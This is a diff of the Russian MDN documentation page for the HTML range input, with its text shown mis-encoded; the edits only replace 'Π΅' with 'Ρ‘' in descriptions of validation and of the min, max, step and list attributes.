<p>Для этого поля нСт доступного ΠΏΠ°Ρ‚Ρ‚Π΅Ρ€Π½Π° Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ, Π½ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ валидация Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ</p>
<ul>
- <li>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{htmlattrxref("value", "input")}} содСрТит Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ Π² число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚ ошибка Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°.</li>
+ <li>Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{htmlattrxref("value", "input")}} содСрТит Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ Π² число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ, ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚ ошибка Π½Π΅ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°.</li>
<li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ мСньшС Ρ‡Π΅ΠΌ {{htmlattrxref("min", "input")}}. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:Β 0.</li>
<li>Β Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ большС Ρ‡Π΅ΠΌ {{htmlattrxref("max", "input")}}. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ: 100.</li>
<li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΊΡ€Π°Ρ‚Π½ΠΎΒ {{htmlattrxref("step", "input")}}. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ:Β 1.</li>
@@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/input/range
<pre class="brush: js notranslate">defaultValue = (rangeElem.max &lt; rangeElem.min) ? rangeElem.min
: rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre>
-<p>Если прСдпринята ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ мСньшС минимального, Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° min. Аналогично, ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ большС максимального, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½ΠΈΡŽ значСния Ρ€Π°Π²Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ max.</p>
+<p>Если прСдпринята ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ мСньшС минимального, Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° min. Аналогично, ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ большС максимального, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²Π»Π΅Π½ΠΈΡŽ значСния Ρ€Π°Π²Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ max.</p>
<h2 id="Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹">Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹</h2>
@@ -75,7 +75,7 @@ translation_of: Web/HTML/Element/input/range
<tbody>
<tr>
<td><code>{{anch("list")}}</code></td>
- <td>id элСмСнта &lt;datalist&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ)</td>
+ <td>id элСмСнта &lt;datalist&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ)</td>
</tr>
<tr>
<td><code>{{anch("max")}}</code></td>
@@ -94,7 +94,7 @@ translation_of: Web/HTML/Element/input/range
<p id="htmlattrdeflist">{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}</p>
-<p>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/range$edit#A_range_control_with_hash_marks">ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π΅ΡˆΠ΅Ρ‚ΠΊΠΈ</a>Β Π½ΠΈΠΆΠ΅, для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ Π² ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</p>
+<p>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/range$edit#A_range_control_with_hash_marks">ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π΅ΡˆΡ‘Ρ‚ΠΊΠΈ</a>Β Π½ΠΈΠΆΠ΅, для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π° ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ Π² ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</p>
<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
@@ -102,7 +102,7 @@ translation_of: Web/HTML/Element/input/range
<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
-<p>НаимСньшСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Если {{htmlattrxref("value", "input")}}, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π² элСмСнт, мСньшС этого значСния, Ρ‚ΠΎ элСмСнт Π½Π΅ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚Β  <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ограничСния</a>. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>min</code> Π½Π΅ являСтся числом, Ρ‚ΠΎ элСмСнт Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ максимального значСния.</p>
+<p>НаимСньшСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅ допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. Если {{htmlattrxref("value", "input")}}, Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π² элСмСнт, мСньшС этого значСния, Ρ‚ΠΎ элСмСнт Π½Π΅ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚Β  <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ ограничСния</a>. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>min</code> Π½Π΅ являСтся числом, Ρ‚ΠΎ элСмСнт Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ максимального значСния.</p>
<p>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ мСньшС ΠΈΠ»ΠΈ Ρ€Π°Π²Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>max</code>.</p>
@@ -131,7 +131,7 @@ translation_of: Web/HTML/Element/input/range
<dl>
<dt>{{htmlattrdef("orient")}} {{non-standard_inline}}</dt>
- <dd id="orient-include">ΠŸΠΎΡ…ΠΎΠΆΠ΅ Π½Π°Β  -moz-orient Π½Π΅ стандартноС CSS свойство Π²Π»ΠΈΡΡŽΡ‰Π΅Π΅ Π½Π° {{htmlelement('progress')}} ΠΈ{{htmlelement('meter')}} элСмСнты, <code>orient</code>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСм ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ слайдСра. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>horizontal</code>, Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ слайдСр Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ, Π°Β <code>vertical</code>- Ρ‡Ρ‚ΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΒ .</dd>
+ <dd id="orient-include">ΠŸΠΎΡ…ΠΎΠΆΠ΅ Π½Π°Β  -moz-orient Π½Π΅ стандартноС CSS свойство Π²Π»ΠΈΡΡŽΡ‰Π΅Π΅ Π½Π° {{htmlelement('progress')}} ΠΈ{{htmlelement('meter')}} элСмСнты, <code>orient</code>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСм ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ слайдСра. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>horizontal</code>, Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ слайдСр Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ, Π°Β <code>vertical</code>- Ρ‡Ρ‚ΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΒ .</dd>
</dl>
<div class="blockIndicator note">
@@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/input/range
<h2 id="Examples">Examples</h2>
-<p>Пока Ρ‚ΠΈΠΏ <code>number</code> позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ число с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ограничСниями, заставляя ΠΈΡ… значСния Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ, ΠΎΠ½ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π²Π²ΠΎΠ΄ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π˜Π½ΠΏΡƒΡ‚ с Ρ‚ΠΈΠΏΠΎΠΌ <code>range</code> позволяСт Π²Π°ΠΌ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ‚Π΅Ρ… случаях, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°ΠΆΠ΅ Π·Π½Π°Ρ‚ΡŒ - ΠΊΠ°ΠΊΠΎΠ²ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ΅ числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p>Пока Ρ‚ΠΈΠΏ <code>number</code> позволяСт ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ число с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ограничСниями, заставляя ΠΈΡ… значСния Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ, ΠΎΠ½ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π²Π²ΠΎΠ΄ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π˜Π½ΠΏΡƒΡ‚ с Ρ‚ΠΈΠΏΠΎΠΌ <code>range</code> позволяСт Π²Π°ΠΌ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ‚Π΅Ρ… случаях, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°ΠΆΠ΅ Π·Π½Π°Ρ‚ΡŒ - ΠΊΠ°ΠΊΠΎΠ²ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠ΅ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ΅ числовоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<p>НСсколько ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² основный ситуаций, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ½ΠΏΡƒΡ‚Ρ‹ с range ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ:</p>
@@ -155,7 +155,7 @@ translation_of: Web/HTML/Element/input/range
<h3 id="Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅_ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΠ°_ΠΈ_максимума">Π£ΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌΠ° ΠΈ максимума</h3>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ Ρ€Π°Π²Π΅Π½ 0, Π° максимум Ρ€Π°Π²Π΅Π½ 100. Если вас это Π½Π΅ устраиваСт, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ² значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² {{htmlattrxref("min", "input")}} ΠΈ/ΠΈΠ»ΠΈ {{htmlattrxref("max", "input")}}. Они ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ значСния с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ.</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ Ρ€Π°Π²Π΅Π½ 0, Π° максимум Ρ€Π°Π²Π΅Π½ 100. Если вас это Π½Π΅ устраиваСт, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ² значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² {{htmlattrxref("min", "input")}} ΠΈ/ΠΈΠ»ΠΈ {{htmlattrxref("max", "input")}}. Они ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ значСния с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ.</p>
<p>НапримСр, ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ -10 ΠΈ 10, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ:</p>
@@ -185,11 +185,11 @@ translation_of: Web/HTML/Element/input/range
<h3 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_Ρ…ΡΡˆ-ΠΌΠ΅Ρ‚ΠΎΠΊ_ΠΈ_Π»Π΅ΠΉΠ±Π»ΠΎΠ²">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ…ΡΡˆ-ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΈ Π»Π΅ΠΉΠ±Π»ΠΎΠ²</h3>
-<p>БпСцификация HTML Π΄Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ прСдставлСнии Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ². НигдС эта Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ Π½Π΅ проявляСтся большС, Ρ‡Π΅ΠΌ Π² области Ρ…ΡΡˆ-ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΈ, Π² мСньшСй стСпСни, Π»Π΅ΠΉΠ±Π»ΠΎΠ². БпСцификация описываСт ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ кастомныС Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("list", "input")}} ΠΈ элСмСнт {{HTMLElement("datalist")}}, Π½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈΠ»ΠΈ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ ΠΏΠΎ стандартизации Ρ…ΡΡˆ-ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΈ Π»Π΅ΠΉΠ±Π»ΠΎΠ² ΠΏΠΎ Π΄Π»ΠΈΠ½Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°.</p>
+<p>БпСцификация HTML Π΄Π°Ρ‘Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈ прСдставлСнии Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€ΠΎΠ². НигдС эта Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ Π½Π΅ проявляСтся большС, Ρ‡Π΅ΠΌ Π² области Ρ…ΡΡˆ-ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΈ, Π² мСньшСй стСпСни, Π»Π΅ΠΉΠ±Π»ΠΎΠ². БпСцификация описываСт ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ кастомныС Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("list", "input")}} ΠΈ элСмСнт {{HTMLElement("datalist")}}, Π½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π½ΠΈΠΉ ΠΈΠ»ΠΈ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ ΠΏΠΎ стандартизации Ρ…ΡΡˆ-ΠΌΠ΅Ρ‚ΠΎΠΊ ΠΈ Π»Π΅ΠΉΠ±Π»ΠΎΠ² ΠΏΠΎ Π΄Π»ΠΈΠ½Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°.</p>
<h4 id="ΠœΠ°ΠΊΠ΅Ρ‚Ρ‹_ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π°_Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°">ΠœΠ°ΠΊΠ΅Ρ‚Ρ‹ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π°</h4>
-<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ эту Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ, ΠΈ Π½Π° сСгодняшний дСнь Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ всС возмоТности, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ HTML, прСдставляСм нСсколько ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ², ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π° macOS Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡ… ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚.</p>
